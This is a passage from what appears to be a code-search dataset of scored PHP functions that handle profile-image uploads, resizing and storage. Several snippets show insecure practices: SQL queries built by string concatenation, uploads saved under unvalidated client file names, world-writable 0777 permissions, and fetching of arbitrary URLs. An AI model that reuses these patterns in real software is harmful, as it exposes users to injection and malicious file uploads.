\r\n $fileOriginal = $path.'/'.$filename;\r\n \r\n //needs for import...\r\n if (file_exists($fileOriginal))\r\n \twhile(file_exists($fileOriginal))\r\n \t{\r\n\t\t $filename++; \r\n\t\t $fileOriginal = $path.'/'.$filename;\r\n \t}\r\n \r\n\r\n\t\tif (!@rename($imgFile, $fileOriginal))\r\n\t\t\treturn false;\r\n \r\n \r\n @chmod($fileOriginal, 0777);\r\n \t\r\n $image = @getimagesize($fileOriginal);\r\n\t\t$width = $image[0];\r\n\t $height = $image[1];\r\n\t \r\n if ( !in_array($image['mime'], $this->imgAvailableTypes) )\r\n return false;\r\n\r\n\r\n if (stristr($image['mime'], 'png'))\r\n $toFormat = 3;//IMG_PNG;\r\n elseif(stristr($image['mime'], 'gif'))\r\n $toFormat = 1;//IMG_GIF;\r\n elseif(stristr($image['mime'], 'tiff'))\r\n $toFormat = 4;//tiff;\r\n elseif(stristr($image['mime'], 'bmp'))\r\n $toFormat = 5;//bmp;\r\n else\r\n $toFormat = 2;//IMG_JPEG;\r\n \r\n $fileSize = filesize($fileOriginal);\r\n \r\n if ($fileSize<IMG_SIZE_MIN || $fileSize>IMG_SIZE_MAX)\r\n return false; \r\n//FB::info($this->sizes);\r\n\r\n//FB::warn($toFormat, '$toFormat');\r\n\r\n\t\t\t\r\n\t\t$fileOriginalTMP = $path.'/tmp_'.$filename;\r\n\r\n\t\t\r\n\t\tswitch($toFormat)\r\n\t\t{\r\n\t\t\tcase 1: //needs for transparent gif\r\n\t\t\t\t\t$input = imagecreatefromgif($fileOriginal);\r\n\t //list($width, $height) = getimagesize($fileOriginal);\r\n\t $output = imagecreatetruecolor($width, $height);\r\n\t $white = imagecolorallocate($output, 255, 255, 255);\r\n\t imagefilledrectangle($output, 0, 0, $width, $height, $white);\r\n\t imagecopy($output, $input, 0, 0, 0, 0, $width, $height);\r\n\t imagejpeg($output, $fileOriginalTMP, 90);\r\n\t\t\t\t\tbreak;\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\tcase 2: copy ($fileOriginal, $fileOriginalTMP);\t\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\tcase 3: //needs for transparent png\r\n\t\t\t\t\t$input = imagecreatefrompng($fileOriginal);\r\n\t //list($width, $height) = getimagesize($fileOriginal);\r\n\t $output = imagecreatetruecolor($width, $height);\r\n\t $white = imagecolorallocate($output, 255, 255, 255);\r\n\t imagefilledrectangle($output, 0, 0, $width, $height, $white);\r\n\t imagecopy($output, $input, 0, 0, 0, 0, $width, $height);\r\n\t imagejpeg($output, $fileOriginalTMP, 90);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\tcase 4:\r\n\t\t\tcase 5: $fileOriginalTMP = $fileOriginalTMP.'.jpg';//!!! +.jpg\r\n\t\t \t\r\n\t\t \t$im = new Imagick($fileOriginal);\r\n\t\t\t\t\t$im->setImageColorspace(255); \r\n\t\t\t\t\t$im->setCompression(Imagick::COMPRESSION_JPEG);\r\n\t\t\t\t\t$im->setCompressionQuality(100);\r\n\t\t\t\t\t$im->setImageFormat('jpeg');\r\n\t\t\t\t\t//resize\r\n\t\t\t\t\t/////$im->resizeImage($this->sizes[$size][0], $this->sizes[$size][1], imagick::FILTER_LANCZOS, 1); \r\n\t\t\t\t\t//write image on server\r\n\t\t\t\t\t$im->writeImage($fileOriginalTMP);\r\n\t\t\t\t\t$im->clear();\r\n\t\t\t\t\t$im->destroy(); \r\n\t\t\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tdefault: return false; \r\n\t\t}\r\n\t\t\r\n\t\tif ( !file_exists($fileOriginalTMP) )\r\n\t\t\treturn false;\t\r\n\t\t\r\n\t\t//IMPORT IMAGE EXTENSION\r\n\t\t//Yii::import('application.extensions.image.Image');\r\n\t\t$ih = new CImageHandler();\r\n\t\t\t\r\n\t\t$toFormatTHUMB = 2;//(($toFormat>3) ? 2 : $toFormat);\r\n\t\t\t\r\n foreach ($this->sizes as $size=>$v)\r\n {\r\n\t\t\t/*if (!CHelperFile::createDir($path.'/'.$size))\r\n\t\t\t\treturn false;*/\r\n \r\n $thumb = $path.'/'. $filename . '_'.$size.'.jpg';\r\n\t\t\t\r\n $ih->load($fileOriginalTMP);\r\n \tswitch($this->sizes[$size][2])\r\n {\r\n \tcase 'adaptiveThumb':\r\n $ih->adaptiveThumb($this->sizes[$size][0],$this->sizes[$size][1]);\r\n break; \r\n \t\r\n\t\t\t\tcase 'thumb':\r\n\t\t\t\t\t\t$ih->thumb($this->sizes[$size][0],$this->sizes[$size][1]);\r\n break;\r\n \r\n \tcase 'resize':\r\n $ih->resize($this->sizes[$size][0],$this->sizes[$size][1]);\r\n break; \t\t\r\n\t\t\t}\r\n\t\t\t$ih->save($thumb, $toFormatTHUMB, $this->sizes[$size][3]);\r\n \r\n\t\t\tif (!file_exists($thumb))\r\n\t\t\t\treturn false;\r\n\t\t\t\r\n\t\t\t@chmod($thumb, 0777); \r\n }\r\n \r\n\t\tif (file_exists($fileOriginalTMP)) \r\n\t\t\t@unlink($fileOriginalTMP);\r\n \r\n\r\n return $filename; \t\r\n\t}", "title": "" }, { "docid": "67aa3dd06857f098cd26879f741f5214", "score": "0.6023542", "text": "function uploadProfileImageForUser($userData)\n\t\t{\n\t\t\t//takes the image size\n\t\t\t$img = getimagesize('../temp/'.$userData['imagename']);\n\t\t\t//print_r($img);\n\t\t\t//gets the image extension\n\t\t\t$ext = pathinfo('../temp/'.$userData['imagename'], PATHINFO_EXTENSION);\n\t\t\n\t\t\t$responsiveWidth = $userData['width'];\n\t\t\t$responsiveHeight = $userData['height'];\n\t\t\t\n\t\t\t$actualWidth = $img[0];\n\t\t\t$actualHeight = $img[1];\n\t\t\t\n\t\t\t$xCoordinate = ($actualWidth/$responsiveWidth)*$userData['xcordinate'];\n\t\t\t$yCoordinate = ($actualHeight/$responsiveHeight)*$userData['ycordinate'];\n\t\t\t\n\t\t\t\n\t\t\t$targ_w = ($actualWidth/$responsiveWidth)*300;\n\t\t\t$targ_h = ($actualHeight/$responsiveHeight)*300;\n\t\t\t\n\t\t\t\n\t\t\t$jpeg_quality = 90;\n\t\t\t$png_quality = 9;\n\t\t\t\n\t\t\t$src = '../temp/'.$userData['imagename'];\n\t\t\t\n\t\t\t\n\t\t\tif($ext == 'png') {\n\t\t\t\t$img_r = imagecreatefrompng($src);\n\t\t\t\t$dst_r = ImageCreateTrueColor( $targ_w, $targ_h );\n\t\t\t\timagecopyresampled($dst_r,$img_r,0,0,$xCoordinate,$yCoordinate,$targ_w,$targ_h,$targ_w,$targ_h);\n\t\t\t\t//save image in admin panel\n\t\t\t\t//imagepng($dst_r,'../../img/product'.$GLOBALS['_POST']['imagename'], $png_quality);\n\t\t\t\t//save image in ui product folder\n\t\t\t\timagepng($dst_r,'../files/pro-image/'.$userData['imagename'], $png_quality);\n\t\t\t\t\n\t\t\t\t//save the product image into the database\n\t\t\t\t$this->saveUserPic($userData['imagename'],'pro');\n\t\t\t}\n\t\t\telse if($ext == 'jpeg' ) {\n\t\t\t\t$img_r = imagecreatefromjpeg($src);\n\t\t\t\t$dst_r = ImageCreateTrueColor( $targ_w, $targ_h );\n\t\t\t\timagecopyresampled($dst_r,$img_r,0,0,$xCoordinate,$yCoordinate,$targ_w,$targ_h,$targ_w,$targ_h);\n\t\t\t\t//save image in admin panel\n\t\t\t\t//imagejpeg($dst_r,'../../img/product'.$GLOBALS['_POST']['imagename'], $jpeg_quality);\n\t\t\t\t//save image in ui product folder\n\t\t\t\timagejpeg($dst_r,'../files/pro-image/'.$userData['imagename'], $jpeg_quality);\n\t\t\t\t\n\t\t\t\t//save the product image into the database\n\t\t\t\t$this->saveUserPic($userData['imagename'],'pro');\n\t\t\t}\n\t\t\telse if($ext == 'jpg') {\n\t\t\t\t$img_r = imagecreatefromjpeg($src);\n\t\t\t\t$dst_r = ImageCreateTrueColor( $targ_w, $targ_h );\n\t\t\t\timagecopyresampled($dst_r,$img_r,0,0,$xCoordinate,$yCoordinate,$targ_w,$targ_h,$targ_w,$targ_h);\n\t\t\t\t//save image in admin panel\n\t\t\t\t//imagejpeg($dst_r,'../../img/product'.$GLOBALS['_POST']['imagename'], $jpeg_quality);\n\t\t\t\t//save image in ui product folder\n\t\t\t\timagejpeg($dst_r,'../files/pro-image/'.$userData['imagename'], $jpeg_quality);\n\t\t\t\t\n\t\t\t\t//save the product image into the database\n\t\t\t\t$this->saveUserPic($userData['imagename'],'pro');\n\t\t\t}\n\t\t\t\n\t\t}", "title": "" }, { "docid": "b3cfa2e60e5200a1f16bfab21adc1460", "score": "0.60232127", "text": "function upload()\n {\n if(isset($_GET['task']) && $_GET['task'] == 'upload') {\n \n $app = factory::getApplication();\n $db = factory::getDatabase();\n $user = factory::getUser();\n $lang = factory::getLanguage();\n \n $path = 'assets/img/uploads/';\n \n if(strtolower($_SERVER['REQUEST_METHOD']) != 'post') {\n $this->exit_status($lang->get('CW_SETTINGS_UPLOAD_INVALID_ERROR')); \n }\n \n $data = $app->getVar('image-data', '');\n $logo = $app->getVar('logo', 0);\n \n\t\t\tif($data != \"\") {\n\t\t\t\n\t\t\t\t$data = str_replace('data:image/png;base64,', '', $data);\n\t\t\t\t$data = str_replace(' ', '+', $data);\n\t\t\t\t$data = base64_decode($data);\n\n\t\t\t\t//Set up the source and destination of the file\n\t\t\t\t$filename = uniqid() . '.png';\n\t\t\t\t$file = $path . $filename;\n\t\t\t\t$success = file_put_contents($file, $data);\n\t\t\t\t\n\t\t\t\tif($logo == 0) {\n\t\t\t\n\t\t\t\t\t$db->query('select image from #_users where id = '.$user->id);\n\t\t\t\t\t$old_image = $db->loadResult();\n\t\t\t\t\t\n\t\t\t\t\t//modify database...\n\t\t\t\t\t$db->updateField(\"#_users\", \"image\", $filename, 'id', $user->id);\n\t\t\t\t\t\n\t\t\t\t\t//delete old image...\n\t\t\t\t\tif($old_image != '' && $old_image != 'nouser.png') {\n\t\t\t\t\t\tunlink($path.$old_image);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\n\t\t\t\t\t$db->query('select empresa_logo from #_configuration');\n\t\t\t\t\t$old_image = $db->loadResult();\n\t\t\t\t\t\n\t\t\t\t\t//modify database...\n\t\t\t\t\t$db->query(\"UPDATE #_configuration SET empresa_logo = \".$db->quote($filename));\n\t\t\t\t\t\n\t\t\t\t\t//delete old image...\n\t\t\t\t\tif($old_image != '' && $old_image != 'nologo.png') {\n\t\t\t\t\t\tunlink($path.$old_image);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$source_img = imagecreatefromstring($data);\n\t\t\t\t//$rotated_img = imagerotate($source_img, 90, 0); // rotate with angle 90 here\n\t\t\t\t//$imageSave = imagejpeg($source_img, $file, 10);\n\t\t\t\timagedestroy($source_img);\n\t\t\t\t\n } else {\n $this->exit_status($lang->get('CW_SETTINGS_UPLOAD_ERROR_NOIMAGE'));\n }\n \n $app->redirect('index.php?view=config');\n }\n }", "title": "" }, { "docid": "aa3d90a5abd43ff3e132c5c79ff560e6", "score": "0.6018545", "text": "function getThumbnail($user) {\n\t\treturn \"profile_pics/thumbnails/\" . getData($user, \"profile_pic\");\n\t}", "title": "" }, { "docid": "89e1e4d725338a80d7502d1b2511674e", "score": "0.60066885", "text": "public function getProfilePicture();", "title": "" }, { "docid": "0d281da6596368276f79419c88ebd2c5", "score": "0.59763944", "text": "function save_profile_image($user_id = 0) {\n $this->access_only_allowed_members();\n $intake_info = $this->Users_model->get_one($user_id);\n $this->can_access_this_intake($intake_info->bu_id);\n\n //process the the file which has uploaded by dropzone\n $profile_image = str_replace(\"~\", \":\", $this->request->getPost(\"profile_image\"));\n\n if ($profile_image) {\n $profile_image = serialize(move_temp_file(\"avatar.png\", get_setting(\"profile_image_path\"), \"\", $profile_image));\n\n //delete old file\n delete_app_files(get_setting(\"profile_image_path\"), array(@unserialize($intake_info->image)));\n\n $image_data = array(\"image\" => $profile_image);\n $this->Users_model->ci_save($image_data, $user_id);\n echo json_encode(array(\"success\" => true, 'message' => app_lang('profile_image_changed')));\n }\n\n //process the the file which has uploaded using manual file submit\n if ($_FILES) {\n $profile_image_file = get_array_value($_FILES, \"profile_image_file\");\n $image_file_name = get_array_value($profile_image_file, \"tmp_name\");\n if ($image_file_name) {\n if (!$this->check_profile_image_dimension($image_file_name)) {\n echo json_encode(array(\"success\" => false, 'message' => app_lang('profile_image_error_message')));\n exit();\n }\n\n $profile_image = serialize(move_temp_file(\"avatar.png\", get_setting(\"profile_image_path\"), \"\", $image_file_name));\n\n //delete old file\n delete_app_files(get_setting(\"profile_image_path\"), array(@unserialize($intake_info->image)));\n\n $image_data = array(\"image\" => $profile_image);\n $this->Users_model->ci_save($image_data, $user_id);\n echo json_encode(array(\"success\" => true, 'message' => app_lang('profile_image_changed'), \"reload_page\" => true));\n }\n }\n }", "title": "" }, { "docid": "8abe3a0035f40ac0309802cf25d3e17f", "score": "0.59741825", "text": "protected function storeProfileImage($url){\n\n //download file to temp location\n $imgTempPath = sys_get_temp_dir() . '/file';\n\n try {\n file_put_contents($imgTempPath, file_get_contents($url));\n } catch (\\Exception $e) {\n return false;\n }\n\n $file = new UploadedFile($imgTempPath, '/file');\n $this->formatImage($file);\n $path = 'storage/' . $file->store('profiles', 'public');\n\n auth()->user()->forceFill([\n 'photo_url' => $path,\n ])->save();\n\n //delete temp file\n unlink($imgTempPath);\n\n return $path;\n }", "title": "" }, { "docid": "f566d20e16ae263561bb6cd371855c99", "score": "0.5972705", "text": "protected function saveProfileImage($img) {\n return self::$db->sqlQuery(sprintf(\"UPDATE {profile} SET image = '\". $img .\"' WHERE user_id=%d\", self::$uid));\n }", "title": "" }, { "docid": "df13905324e6b8cff9748a3d80285715", "score": "0.5967281", "text": "protected function getProfileImage()\n {\n $path = $this->_getImageBasePath() . $this->_getImageName();\n\n if(!file_exists($this->_getFullImagePath($path))) {\n //reszise and return path to new resized image\n //@todo resize\n $originImage = $this->_getImageName(false);\n if(file_exists($this->_getFullImagePath($originImage))) {\n //resize it and return path to resized image\n //if it can't resized, return default image\n } else {\n return $this->_getDefaultImage();\n }\n } else {\n return $path;\n }\n\n\n }", "title": "" }, { "docid": "d92b229af154cc083e4590cecfbea0d3", "score": "0.5921477", "text": "function change_profile_image($user_id, $file_temp, $file_extn){\n\t//if img not found, or database 'profile is empty = ignore this line\n\n\t//upload this file\n\t\t$file_path ='images/profile/' . substr(md5(time()), 0,10) . '.' . $file_extn;\n\t\t//echo $file_path;\n\t\t\t\t//folder creation\n\t\t//$uploaddir ='images/profile/';\n\t\t//look up 0744\n\t\t//mkdir('uploads/thumbs/'.mysql_insert_id(), 0777);//look up 0744\n\n\t\t//if (!is_dir($uploaddir) && !mkdir($uploaddir, 0777)){\n\t\t// die(\"Error creating folder $uploaddir\");\n\t//\t}\n\n\t\t//mkdir($uploaddir, 0777);\n\n\t\tmove_uploaded_file($file_temp, $file_path);\n\n\t//update comp1687_user's data\n\t\tmysql_query(\"UPDATE `users` SET `profile` = '\" . mysql_real_escape_string($file_path) . \"' WHERE `user_id` =\".(int)$user_id);\n\n\n}", "title": "" }, { "docid": "b560819ccd0b2fe9f4d7f2a96e197ebb", "score": "0.5914607", "text": "function getUserImageInitial($userId, $name)\n{\n return getAvatarUrl().\"?name=$name&size=30&rounded=true&color=fff&background=\".getRandomColor($userId);\n}", "title": "" }, { "docid": "a16ba64339559e2c01f99b82dec15e1d", "score": "0.5904426", "text": "function profile(){\r\n $_FILES['userfile']['name'] = $_SESSION['fname'].\".jpeg\";\r\n $uploaddir = 'upload/';\r\n $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);\r\n move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);\r\n }", "title": "" }, { "docid": "67d7cdd3f1608a4d06d90e3c0e856fdb", "score": "0.58952546", "text": "private function saveImage()\n {\n $name = $_FILES['image']['name'];\n $tmp_name = $_FILES['image']['tmp_name'];\n\n return move_uploaded_file($tmp_name, 'images/' . $name);\n }", "title": "" }, { "docid": "e6abfff432fdc1372e402af711f0ab31", "score": "0.58914787", "text": "function save_profile_image($id, $uploadmanager, $dir='user') {\n global $CFG;\n\n if (empty($CFG->gdversion)) {\n return false;\n }\n\n if (!$uploadmanager) {\n return false;\n }\n\n umask(0000);\n\n if (!file_exists($CFG->dataroot .'/'. $dir)) {\n if (! mkdir($CFG->dataroot .'/'. $dir, $CFG->directorypermissions)) {\n return false;\n }\n }\n\n if ($dir == 'user') {\n $destination = make_user_directory($id, true);\n } else {\n $destination = \"$CFG->dataroot/$dir/$id\";\n }\n\n if (!file_exists($destination)) {\n if (!make_upload_directory(str_replace($CFG->dataroot . '/', '', $destination))) {\n return false;\n }\n }\n\n if (!$uploadmanager->save_files($destination)) {\n return false;\n }\n\n $originalfile = $uploadmanager->get_new_filepath();\n\n $imageinfo = GetImageSize($originalfile);\n \n if (empty($imageinfo)) {\n if (file_exists($originalfile)) {\n unlink($originalfile);\n }\n return false;\n }\n \n $image->width = $imageinfo[0];\n $image->height = $imageinfo[1];\n $image->type = $imageinfo[2];\n\n switch ($image->type) {\n case 1: \n if (function_exists('ImageCreateFromGIF')) {\n $im = ImageCreateFromGIF($originalfile); \n } else {\n notice('GIF not supported on this server');\n unlink($originalfile);\n return false;\n }\n break;\n case 2: \n if (function_exists('ImageCreateFromJPEG')) {\n $im = ImageCreateFromJPEG($originalfile); \n } else {\n notice('JPEG not supported on this server');\n unlink($originalfile);\n return false;\n }\n break;\n case 3:\n if (function_exists('ImageCreateFromPNG')) {\n $im = ImageCreateFromPNG($originalfile); \n } else {\n notice('PNG not supported on this server');\n unlink($originalfile);\n return false;\n }\n break;\n default: \n unlink($originalfile);\n return false;\n }\n\n unlink($originalfile);\n\n if (function_exists('ImageCreateTrueColor') and $CFG->gdversion >= 2) {\n $im1 = ImageCreateTrueColor(100,100);\n $im2 = ImageCreateTrueColor(35,35);\n } else {\n $im1 = ImageCreate(100,100);\n $im2 = ImageCreate(35,35);\n }\n \n $cx = $image->width / 2;\n $cy = $image->height / 2;\n\n if ($image->width < $image->height) {\n $half = floor($image->width / 2.0);\n } else {\n $half = floor($image->height / 2.0);\n }\n\n ImageCopyBicubic($im1, $im, 0, 0, $cx-$half, $cy-$half, 100, 100, $half*2, $half*2);\n ImageCopyBicubic($im2, $im, 0, 0, $cx-$half, $cy-$half, 35, 35, $half*2, $half*2);\n\n if (function_exists('ImageJpeg')) {\n @touch($destination .'/f1.jpg'); // Helps in Safe mode\n @touch($destination .'/f2.jpg'); // Helps in Safe mode\n if (ImageJpeg($im1, $destination .'/f1.jpg', 90) and\n ImageJpeg($im2, $destination .'/f2.jpg', 95) ) {\n @chmod($destination .'/f1.jpg', 0666);\n @chmod($destination .'/f2.jpg', 0666);\n return 1;\n }\n } else {\n notify('PHP has not been configured to support JPEG images. Please correct this.');\n }\n return 0;\n}", "title": "" }, { "docid": "ca5e6a7de0e571eda7ccf24b4e919ec7", "score": "0.5887473", "text": "public function prepareExtFBImage($userId)\r\n {\r\n if (!$userId)\r\n return;\r\n \r\n $profile = new Profile($userId);\r\n $fb_id = $profile->getDataValue('ext', 'facebook', 'fb_id'); \r\n \r\n if (!$fb_id)\r\n return;\r\n \r\n $imgDir = $this->createDirPath($userId);\r\n \r\n $img = @file_get_contents('https://graph.facebook.com/'.$fb_id.'/picture?type=large');\r\n $file = $imgDir.'/extFB_original.jpg';\r\n @file_put_contents($file, $img); \r\n \r\n if (file_exists($file))\r\n {\r\n CHelperImage::image2GrayColor( $file, $file );\r\n @chmod($file, 0777);\r\n \r\n $size = getimagesize($file);\r\n \r\n $image = array(\r\n 'name'=>$file,\r\n 'type'=>$size['mime'],\r\n 'size'=>filesize($file)\r\n );\r\n//CHelperSite::vd($image); \r\n }\r\n \r\n return $image;\r\n }", "title": "" }, { "docid": "81fce01827c64b524df648aeb3f79577", "score": "0.58811945", "text": "function instagram_image($post) {\n // is not saved then the url is returned otherwise the full path\n // to the locally saved file is returned.\n $pic_src = $post['images']['standard_resolution']['url']; \n $image_raw = file_get_contents($pic_src);\n\n $image_path = $_SERVER[\"DOCUMENT_ROOT\"] . '/images/instagram/';\n $image_name = 'instagram_created_' . $post['created_time'] . '.jpg';\n $full_name = $image_path . $image_name;\n\n if(!file_exists($full_name)) {\n $fp = fopen($full_name, 'w');\n $result = fwrite($fp, $image_raw);\n fclose($fp);\n } elseif(file_exists($full_name)) { $result = TRUE; }\n\n return(!$result ? $pic_src : '/images/instagram/' . $image_name);\n }", "title": "" }, { "docid": "d32a4eb85d329c901371921924a1c699", "score": "0.58795613", "text": "public function getImageAction()\n\t{\n\t \t$session = $this->getRequest()->getSession(); \n\t \tif( !($session->get('userId')) || $session->get('userId') == '' )\n \t\t{\n \t\t\treturn $this->redirect($this->generateUrl('raa_web_login'));\n \t\t}\n \n\t\t$em = $this->getDoctrine()\n\t\t->getEntityManager();\n\t\t$images = $em->createQueryBuilder()\n\t\t->select('User')\n\t\t->from('RAAAdminBundle:User', 'User')\n\t\t->where('User.id=:id')\n\t\t->setParameter('id', $session->get('userId'))\n\t\t->getQuery()\n\t\t->getArrayResult();\n\t\treturn $images; \n\t}", "title": "" }, { "docid": "464fdf1856f87acca89b01b895454ecf", "score": "0.5874945", "text": "private function getOriginalImage()\n {\n return $this->getDisk()->get($this->path);\n }", "title": "" }, { "docid": "fe646f7c61cf7330640e0538323c6629", "score": "0.5865752", "text": "public function saveDriverProfilePicture()\n {\n $this->validateFile();\n\n $config = $this->config('driver.upload.profile-picture');\n\n $this->setDefaultResize(data_get($config, 'image.store_resolution'));\n\n $image = $this->encodeImage();\n\n $filename = $this->hashGenerator->extension($this->format)->make();\n\n $filePath = file_path(data_get($config, 'path'), $filename);\n\n Storage::put($filePath, $image);\n\n return $filename;\n }", "title": "" }, { "docid": "c130047c2b3b8dec8f7b412b5ce0ad0b", "score": "0.5854739", "text": "public function profileImage() {\r\n\r\n $_SESSION[\"page\"] = \"Profile Image\";\r\n $_SESSION['user']->setImage(null);\r\n\r\n if($_SERVER['REQUEST_METHOD'] == 'POST') {\r\n $target_dir = \"uploads/\";\r\n $target_file = $target_dir.basename($_FILES[\"fileToUpload\"][\"name\"]);\r\n\r\n $imageFileType = strtolower(pathinfo($target_file,\r\n PATHINFO_EXTENSION));\r\n\r\n // Check if image file is a actual image or fake image\r\n if (isset($_POST[\"submit\"]) AND\r\n !empty($_FILES[\"fileToUpload\"][\"tmp_name\"])) {\r\n\r\n $check = getimagesize($_FILES[\"fileToUpload\"][\"tmp_name\"]);\r\n $uploadOk = true;\r\n\r\n if($imageFileType != \"jpg\" && $imageFileType != \"png\" &&\r\n $imageFileType != \"jpeg\") {\r\n $this->_f3->set(\"errors['fileFormat']\",\r\n \"Sorry, only JPG, JPEG, PNG files are allowed.\");\r\n $uploadOk = false;\r\n } elseif ($check === false) {\r\n $this->_f3->set(\"errors['fileExists']\",\r\n \"Not recognized as an image.\");\r\n $uploadOk = false;\r\n }\r\n\r\n if ($uploadOk) {\r\n if (move_uploaded_file($_FILES[\"fileToUpload\"][\"tmp_name\"],\r\n $target_file)) {\r\n\r\n $_SESSION[\"user\"]->setImage($target_file);\r\n $this->_f3->set(\"profileImage\", $target_file);\r\n\r\n $_SESSION[\"user\"]->setId(\r\n $this->_db->insertMember($_SESSION[\"user\"]));\r\n if ($_SESSION[\"user\"]->getId() !== null) {\r\n //add in/outdoor interests into table\r\n $this->_db->insertMemberInterests($_SESSION[\"user\"]);\r\n $_SESSION[\"user\"]->setInterests(\r\n $this->_db->getInterests($_SESSION[\"user\"]->getID()));\r\n $this->_f3->reroute('/profile-summary');\r\n\r\n }\r\n\r\n $this->_f3->set(\"errors['addUser']\",\r\n \"Sorry, there was an error adding you to the database\");\r\n\r\n } else {\r\n $this->_f3->set(\"errors['fileUpload']\",\r\n \"Sorry, there was an error uploading your file.\");\r\n }\r\n }\r\n } else {\r\n $this->_f3->set(\"errors['fileExists']\", \"No file.\");\r\n }\r\n //if skip was pressed\r\n if (isset($_POST[\"skip\"])) {\r\n $_SESSION[\"user\"]->setId(\r\n $this->_db->insertMember($_SESSION[\"user\"]));\r\n if ($_SESSION[\"user\"]->getId() !== null) {\r\n //add in/outdoor interests into table\r\n $this->_db->insertMemberInterests($_SESSION[\"user\"]);\r\n $_SESSION[\"user\"]->setInterests(\r\n $this->_db->getInterests($_SESSION[\"user\"]->getID()));\r\n $this->_f3->reroute('/profile-summary');\r\n }\r\n }\r\n }\r\n $view = new Template();\r\n echo $view->render(\"views/profile-image.html\");\r\n }", "title": "" }, { "docid": "07d99b43dd6ad072a64baf7a78b4539d", "score": "0.5852443", "text": "function getProfileImage($userid)\n\t\t{\n\t\t\tglobal $db;\n\t\t\t$sql_photo= \"SELECT `profile_photo` FROM hd_member where member_id='\".$userid.\"'\";\n\t\t\t$res_phhoto=$db->select_data($sql_photo);\n\t\t\t$profile_photodb=$res_phhoto[0]['profile_photo'];\n\t\t\treturn $profile_photodb;\n\t\t}", "title": "" }, { "docid": "3a784f2b84ac2f5b8bfc3dd0489db183", "score": "0.5850771", "text": "public function ajax_save_user_image($user_image, $user_id) {\n\n\t\tglobal $database;\n\n\t\t$user_image = $database->escape_string($user_image);\n\t\t$user_id = $database->escape_string($user_id);\n\n\t\t$this->user_image = $user_image;\n\t\t$this->id = $user_id;\n\n\t\t$sql = \"UPDATE \" . self::$db_table . \" SET user_image = '{$this->user_image}' \";\n\t\t$sql .= \" WHERE id = {$this->id} \";\n\n\t\t$update_image = $database->query($sql);\n\n\t\techo $this->image_path_and_placeholder();\n\n\t}", "title": "" }, { "docid": "f24adc644ebf740b342451024b505a69", "score": "0.58470595", "text": "function user_image_upload($user_id , $db_connexion){\r\n\r\n}", "title": "" }, { "docid": "ca8121702bbf65f3476bd4b05f910c56", "score": "0.58390635", "text": "public function cacheAvatar()\n {\n //Download Image\n $guzzle = new GuzzleHttp\\Client();\n $response = $guzzle->get($this->image_url);\n\n //Get ext\n $content_type = explode('/', $response->getHeader('Content-Type'));\n $ext = array_pop($content_type);\n\n $avatar_name = $this->id . '_' . time() . '.' . $ext;\n $save_path = public_path('uploads/avatars/') . $avatar_name;\n\n //Save File\n $content = $response->getBody()->getContents();\n file_put_contents($save_path, $content);\n\n //Delete old file\n if ($this->avatar) {\n @unlink(public_path('uploads/avatars/') . $this->avatar);\n }\n\n //Save to database\n $this->avatar = $avatar_name;\n $this->save();\n }", "title": "" }, { "docid": "6e003f96444895755085dfc2619bcb44", "score": "0.5824604", "text": "function getprofileimage($username){\n $user = DB::table('users')->where('username', $username)->first();\n $profileimage = $user->profileimage;\n if($profileimage == \"\"){\n\t$profileimagepath = \"/images/user.png\";\n return($profileimagepath);\n }\n $profileimagepath = \"/image/\".$username.\"/profileimage/\".$profileimage;\n return($profileimagepath);\n}", "title": "" }, { "docid": "e442a3a5b63d89b1a9c11d6aced785c3", "score": "0.58223706", "text": "public function getUserImage($id)\n\t{\n\t\t$image = User::findOrFail($id)->img_url;\n\t\treturn response()->download(base_path($image), null,['Chache-Control' => 'no-cache', 'Pragma' => 'no-cache'], 'inline');\n\t}", "title": "" }, { "docid": "915acd5744188f45a885050ff2ba01c9", "score": "0.58208644", "text": "public function ajax_save_user_image($user_image, $user_id) {\n global $database;\n\n $user_image = $database->escape_string($user_image);\n $id = $database->escape_string($user_id);\n\n $this->user_image = $user_image;\n $this->user_id = $user_id;\n\n $sql = \"UPDATE \" . self::$db_table . \" SET user_image = '{$this->user_image}' \";\n\t\t$sql .= \" WHERE id = {$this->user_id} \";\n\t\t$update_image = $database->query($sql);\n\n\t\t\n\t\techo $this->image_path_and_placeholder();\n\n }", "title": "" }, { "docid": "89bd29a2f6785b3cdd24114997e99f9f", "score": "0.5819105", "text": "public function execute()\n {\n try {\n $result = $this->imageUploader->saveFileToTmpDir('image_thumbnail');\n $result['cookie'] = [\n 'name' => $this->_getSession()->getName(),\n 'value' => $this->_getSession()->getSessionId(),\n 'lifetime' => $this->_getSession()->getCookieLifetime(),\n 'path' => $this->_getSession()->getCookiePath(),\n 'domain' => $this->_getSession()->getCookieDomain(),\n ];\n } catch (\\Exception $e) {\n $result = ['error' => $e->getMessage(), 'errorcode' => $e->getCode()];\n }\n return $this->resultFactory->create(ResultFactory::TYPE_JSON)->setData($result);\n }", "title": "" }, { "docid": "dd9e56b60f4761cd2ac220eeeceb602f", "score": "0.5817296", "text": "public function getProfileImageFilename();", "title": "" }, { "docid": "ac99e3acf1bba9c6c1cb63adf4232470", "score": "0.58142763", "text": "function recallImage() {\n\t\t//echo \"at recall <br />\";\n\t\tif (!$this->exists) {\n\n\t\t \t$this->db = mysql_connect($this->db_host,$this->db_user,$this->db_pass);\n\t\t\tmysql_select_db($this->db_name, $this->db);\t\t \n\n\t\t\t$query = \"select imagedata from images where username='\".$this->user.\"'\";\n\t\t\n\t\t\tif(!$result || mysql_num_rows($result) > 1 || mysql_num_rows($result) < 1) { die('faield'); }\n\n\t\t\t$this->userdata = mysql_fetch_assoc($result);\n\t\t\t\t\n\t\t\tmysql_free_result($result);\n\t\t\tmysql_close($this->db);\n\t\t\t\n\t\t\t$this->image = $this->userdata['imagedata'];\n\t\t}\n\t\t\n\t\telse {\n\t\t\n\t\t\t$this->image = $this->imagedata;\n\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "3b38114adbb53ab1e333e3e6dbceb47d", "score": "0.5779965", "text": "public function getImageFile()\n {\n return isset($this->avatar) ? Yii::$app->params['uploadPath'] . 'profiles/' . $this->avatar : null;\n }", "title": "" }, { "docid": "4c131d6c5faf0214b15c10631b0b65a1", "score": 